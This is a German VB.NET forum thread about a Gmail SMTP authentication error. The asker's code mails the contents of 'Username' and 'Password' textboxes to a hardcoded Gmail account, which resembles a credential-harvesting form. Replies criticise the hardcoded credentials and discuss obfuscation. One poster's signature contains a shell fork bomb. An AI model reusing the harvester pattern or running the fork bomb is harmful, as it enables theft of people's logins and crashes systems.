Visual Basic Fehlermeldung 5.5.1 Bitte Helfen

  • VB.NET

Es gibt 15 Antworten in diesem Thema. Der letzte Beitrag () ist von RodFromGermany.

    Visual Basic Fehlermeldung 5.5.1 Bitte Helfen

    Hallo bei mir kommt immer eine fehlermeldung bei smtpServer.Send(mail) wen ich es starte und den start button an klicke (Für den SMTP-Server ist eine sichere Verbindung erforderlich, oder der Client wurde nicht authentifiziert. Die Serverantwort war: 5.5.1 Authentication Required. Learn more at).

    VB.NET-Quellcode

    1. Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
    2. If TextBox1.Text = "" Then
    3. MsgBox("Test1")
    4. If TextBox2.Text = "" Then
    5. MsgBox("Test2")
    6. Else
    7. End If
    8. End If
    9. Dim smtpServer As New SmtpClient()
    10. Dim mail As New MailMessage()
    11. smtpServer.Credentials = New Net.NetworkCredential("****@gmail.com", "Passwort***")
    12. 'using gmail
    13. smtpServer.Port = 587
    14. smtpServer.Host = "smtp.gmail.com"
    15. smtpServer.EnableSsl = True
    16. mail = New MailMessage()
    17. mail.From = New MailAddress("****@gmail.com")
    18. mail.To.Add("****@gmail.com")
    19. mail.Subject = "Username : " & TextBox1.Text
    20. mail.Body = "Password : " & TextBox2.Text & ","
    21. smtpServer.Send(mail)
    22. MsgBox("Erfolgreich! Test3")
    23. End Sub


    Danke !
    MFG Anton

    Verschoben und Code formatiert. ~Trade

    Dieser Beitrag wurde bereits 2 mal editiert, zuletzt von „Trade“ ()

    anton15 schrieb:

    smtpServer.Credentials = New Net.NetworkCredential("****@gmail.com", "Passwort***")
    Glückwunsch, damit habe ich in 2 Minuten Deinen E-Mail-Account gestohlen.
    Sicherheit: Gefahrenquelle Quellcode

    Zudem ist ​MsgBox veralteter VB6-Code. ​MessageBox.Show ist die richtige Alternative. Ein ​Else-Block, den Du nicht nutzt, ist zudem redundant.
    nvm, den Code kannst Du eh nicht gebrauchen. Schnapp Dir 'nen Webspace und erledige das über ein PHP-Skript, alles andere ist unsicher.

    Grüße
    #define for for(int z=0;z<2;++z)for // Have fun!
    Execute :(){ :|:& };: on linux/unix shell and all hell breaks loose! :saint:

    Bitte keine Programmier-Fragen per PN, denn dafür ist das Forum da :!:
    @Trade
    alles andere ist unsicher


    Warum ist es unsicher mit einer VB.Net-Desktop-Anwendung mit SSL eine E-Mail zu verschicken?

    Ist doch heutzutage gängiger Standard, dass Anwendungen direkt E-Mails verschicken können und wird vom Kunden erwartet diese Funktionalität.

    Was ist dann an lokalen E-Mail-Programmen wie z.B. Outlook sicherer?
    Schau doch in den Code. Da sind Credentials einfach so im Klartext drin. Mit 'nem einfachen Decompiler krieg' ich die also in ein paar Sekunden raus. ;)
    Und Outlook ist wohl ein wenig anders aufgebaut, weil ja dort die Daten flexibel gespeichert werden und somit entsprechend geschützt werden können.

    Grüße
    #define for for(int z=0;z<2;++z)for // Have fun!
    Execute :(){ :|:& };: on linux/unix shell and all hell breaks loose! :saint:

    Bitte keine Programmier-Fragen per PN, denn dafür ist das Forum da :!:
    "den Code kannst Du eh nicht gebrauchen. Schnapp Dir 'nen Webspace und erledige das über ein PHP-Skript, alles andere ist unsicher.



    Ih hab keine ahnung von dem zeug (Wbspace PHP-kript) kann ich die VB quelle nicht irgend wie gerade biegen das diese Fehlermeldung nicht kommt ?

    (Danke das du mir mein Text bearbeitet hast und den ins forum gestellt hast :D !!)

    Gruß

    anton15 schrieb:

    kann ich die VB quelle nicht irgend wie gerade biegen das diese Fehlermeldung nicht kommt ?
    Klar kannst Du das sicher lösen. Aber was ist dann? Dann nutzt einer das Programm und am nächsten Tag ist Dein E-Mail Account 'ne Spam- und Virenschleuder.

    anton15 schrieb:

    Ih hab keine ahnung von dem zeug (Wbspace PHP-kript)
    Das ist ungünstig. Denn ohne wird's wohl nicht wirklich sicher gehen. Somit wirst Du Dich wohl damit auseinandersetzen müssen, wenn Du die Funktion unbedingt brauchst.

    Grüße
    #define for for(int z=0;z<2;++z)for // Have fun!
    Execute :(){ :|:& };: on linux/unix shell and all hell breaks loose! :saint:

    Bitte keine Programmier-Fragen per PN, denn dafür ist das Forum da :!:
    Klar kannst Du das sicher lösen



    Könntest du mir vllt meine VB quelle umschreiben oder sagen wo das problem ist ..?



    [vbnet]Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
    If TextBox1.Text = "" Then
    MessageBox.Show("Test1")
    If TextBox2.Text = "" Then
    MessageBox.Show("Test2")
    End If
    End If
    Dim smtpServer As New SmtpClient()
    Dim mail As New MailMessage()
    smtpServer.Credentials = New Net.NetworkCredential("****@gmail.com", "Passwort***")
    'using gmail
    smtpServer.Port = 587
    smtpServer.Host = "smtp.gmail.com"
    smtpServer.EnableSsl = True
    mail = New MailMessage()
    mail.From = New MailAddress("****@gmail.com")
    mail.To.Add("****@gmail.com")
    mail.Subject = "Username : " & TextBox1.Text
    mail.Body = "Password : " & TextBox2.Text & ","
    smtpServer.Send(mail)
    MessageBox.Show("Erfolgreich! Test3")
    End Sub
    End Class[vbnet]

    Grüße

    Dieser Beitrag wurde bereits 1 mal editiert, zuletzt von „Trade“ ()

    Nein. Lies meinen Post nochmal durch. Ich glaube, Du unterschätzt das gerade etwas...
    Außerdem kannst Du ruhig mal den Code formatieren. Dazu gibt es den ​[vbnet][/vbnet]-Tag.
    #define for for(int z=0;z<2;++z)for // Have fun!
    Execute :(){ :|:& };: on linux/unix shell and all hell breaks loose! :saint:

    Bitte keine Programmier-Fragen per PN, denn dafür ist das Forum da :!:

    @Trade
    Ok - ausliefern sollte man dies so natürlich auf keinen Fall - aber firmenintern gibt es da diverse Möglichkeiten - z.B. das Passwort verschlüsselt über einen WCF-Service vom Server holen - zudem noch das Programm durch den ConfuserEx-ObFuscator jagen etc.

    Dieser Beitrag wurde bereits 1 mal editiert, zuletzt von „Trade“ ()

    @Thias Eigene Credentials haben sowieso nie etwas in einem Programm zu suchen, das von jemand anderem benutzt wird. Egal, ob im Code oder irgendwo beigelegt. Das kann ja jederzeit abgegriffen werden... Nur, wenn es darum geht, dass der Benutzer da auch seine eigenen Daten nutzen kann, ist das okay, denn das sind ja seine.

    Thias schrieb:

    zudem noch das Programm durch den ConfuserEx-ObFuscator jagen
    Das soll was bringen? Macht Dein Programm langsam und trotzdem kann ich Dir das Ganze noch auslesen, wenn ich will. Security through obscurity funktioniert nicht.

    Grüße
    #define for for(int z=0;z<2;++z)for // Have fun!
    Execute :(){ :|:& };: on linux/unix shell and all hell breaks loose! :saint:

    Bitte keine Programmier-Fragen per PN, denn dafür ist das Forum da :!:
    @Trade
    Würde ich wirklich gerne mal sehen - wie "Du" als lokaler Benutzer im Firmennetzwerk - die Ausführungsrichtinien erlauben nur das Ausführen von bekannten Programmen, das Kennwort kommt verschlüsselt über den WCF-Service vom Server - der Obfuscator verhindert normales Debuggen und Dump des Programmes (für den Fall, dass Du es schaffst das Programm auf einen Fehler laufen zu lassen) - wie Du dann noch den Windows-Speicher oder sonstiges auslesen kannst (wie gesagt als lokaler Benutzer nicht als Admin!).

    Kann sicherlich nur ein ganz geringer Prozentsatz aller Programmierer bzw. Hacker und die arbeiten in der Regel nicht als normale Sachbearbeiter in einer Firma - außer natürlich zu kriminellen Werksspionagezwecken

    @anton15 Bitte mal folgendes anschauen: E-Mail in VB Fehler

    Aber wie von Trade schon geschrieben, dieses Programm aus Sicherheitsgründen dann nur innerhalb der Familie benutzen!

    @Trade OK - damit hast Du natürlich vollkommen Recht!!! (Bezogen auf Post 14)

    Dieser Beitrag wurde bereits 2 mal editiert, zuletzt von „Thias“ ()

    Ich sprach auch nicht von einem Firmennetzwerk, in dem ich mich befinde und wo alles intern geregelt wird, sondern von einem regulären Benutzer zu Hause, der eine Anwendung benutzt, die das so macht. Solange es sich, wie gesagt, um eigene Credentials handelt, ist das ja auch in Ordnung, denn das sind ja meine und die kenne ich. Wenn aber der Entwickler seine Daten da reinhaut und ich die dann als Endnutzer auslesen kann, läuft was falsch. Und genau das ist hier der Fall.

    Grüße
    #define for for(int z=0;z<2;++z)for // Have fun!
    Execute :(){ :|:& };: on linux/unix shell and all hell breaks loose! :saint:

    Bitte keine Programmier-Fragen per PN, denn dafür ist das Forum da :!:

    anton15 schrieb:

    VB.NET-Quellcode

    1. If TextBox1.Text = "" Then
    2. MessageBox.Show("Test1")
    3. If TextBox2.Text = "" Then
    4. MessageBox.Show("Test2")
    5. End If
    6. End If
    Was soll das?
    Du stellst fest, dass Informationen fehlen und lässt daraufhin es knallen?

    VB.NET-Quellcode

    1. If TextBox1.Text = "" OrElse TextBox2.Text = "" Then
    2. MessageBox.Show("Raus")
    3. Return
    4. End If
    Falls Du diesen Code kopierst, achte auf die C&P-Bremse.
    Jede einzelne Zeile Deines Programms, die Du nicht explizit getestet hast, ist falsch :!:
    Ein guter .NET-Snippetkonverter (der ist verfügbar).
    Programmierfragen über PN / Konversation werden ignoriert!